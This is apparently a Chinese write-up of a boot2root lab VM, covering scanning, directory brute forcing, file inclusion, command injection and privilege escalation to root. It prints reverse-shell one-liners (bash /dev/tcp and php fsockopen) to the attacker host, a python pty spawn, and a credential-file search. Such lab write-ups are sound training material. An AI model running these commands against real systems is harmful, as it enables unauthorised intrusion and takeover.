官方介绍说这个靶机在192.168.56.0段,我们攻击机改成主机模式就行
然后就可以开始愉快的玩耍了,因为这个靶机主要还是通过提权去拿账号密码,所以别纠结去登录了。
首先我们已知这个靶机在192.168.56.0段了,所以nmap全网段扫描一下。
大概判断了一下,靶机ip应该是128 因为我虚拟机就开了两个,物理机虚拟网卡开了一个,靶机ip不知道,所以是128.
然后直接扫ip
发现只开了个33447端口???nmap -p 33447 -sV 192.168.56.128
好吧nmap 在端口识别一下
发现操作系统和apache版本
到这里我只有两个思路apache有没有可以利用的漏洞 还有web端的漏洞
经尝试 Apache这个版本没有直接可以利用的漏洞。。
所以选择wbe端
查看源码发现一段16进制
先用阿斯克码转换,再用base转
刚刚跑了一下目录存在images/应该这个wow.jpg再这个下面。
分析了一些就一张大牙的图???Dump下来winhex分析一波
一段看不懂东西,放弃,线索断掉了
脚本小子继续dir
爆破出来
按个访问寻找信息
注意title出来目录感觉这个下面肯定有东西
Include.php发现是个文件包含没有up点没办法拿webshell
看看能不能读/etc/password
发现几个页面都没什么办法利用
根据刚刚页头提示的magic_box继续dir…感觉里面还有东西
尝试使用bash -i >& /dev/tcp/192.168.56.129/2333 0>&1反弹shell
过不去,想到靶机上有php,所以试试看php反弹
php -r '$sock=fsockopen("192.168.56.129",2333);exec("/bin/sh -i <&3 >&3 2>&3");'
url 编码一下
成功反弹,接着su提权这边有个知识点:
sudo : 暂时切换到超级用户模式以执行超级用户权限,提示输入密码时该密码为当前用户的密码,而不是超级账户的密码。不过有时间限制,Ubuntu默认为一次时长15分钟。
su: 切换到某某用户模式,提示输入密码时该密码为切换后账户的密码,用法为“su 账户名称”。如果后面不加账户时系统默认为root账户,密码也为超级账户的密码。没有时间限制
sudo -i: 为了频繁的执行某些只有超级用户才能执行的权限,而不用每次输入密码,可以使用该命令。提示输入密码时该密码为当前账户的密码。没有时间限制。执行该命令后提示符变为“#”而不是“$”。想退回普通账户时可以执行“exit”或“logout” 。
sudo -i 直接运行sudo命令加-i参数
sudo su 运行sudo命令给su命令提权,运行su命令。
sudo -i 运行结果 PWD=/root
sudo su 运行结果 PWD=/home/用户名(当前用户主目录)
也就是我们需要su到一个普通用户,只要知道用户密码,可以通过sudo-i,直接提权至root用户。
但是,su命令前提需要一个终端,需要的是一个终端设备输入密码,但是我们反弹shell的真是一个标准输入样子的。
我们可以用python命令生成一个虚拟的终端( Python -c 'import pty;pty.spawn("/bin/sh")' )
su命令可以用了,接下来就是提权到acid后者saman,再sudo -i 提权到root用户
但是su 到任意用户,我们都需要这个用户的密码,我们才能登陆 没权限没办法查看。。
翻翻看磁盘里有啥
命令:find / -user acid 2>/dev/null
解释下: 2>/dev/null 2再ilnux中的意思是标准错误,/dev/null指空设备,即将标准错误重定向到空设备=>不会报错,显错
找找看其他的东西发现一个流量包
直接出。。。。
其实做到这里发现自己傻了,之前的commond.php提示了这个账号的密码,自己没发现。。。
成功提权到 root
结束。。。。。
整体做下来,信息收集能力还是不行,一些hint还是get不到,主要考点就是php反弹,python的虚拟终端。
据说邮箱账号也可以操作。。。还是要提高信息收集能力。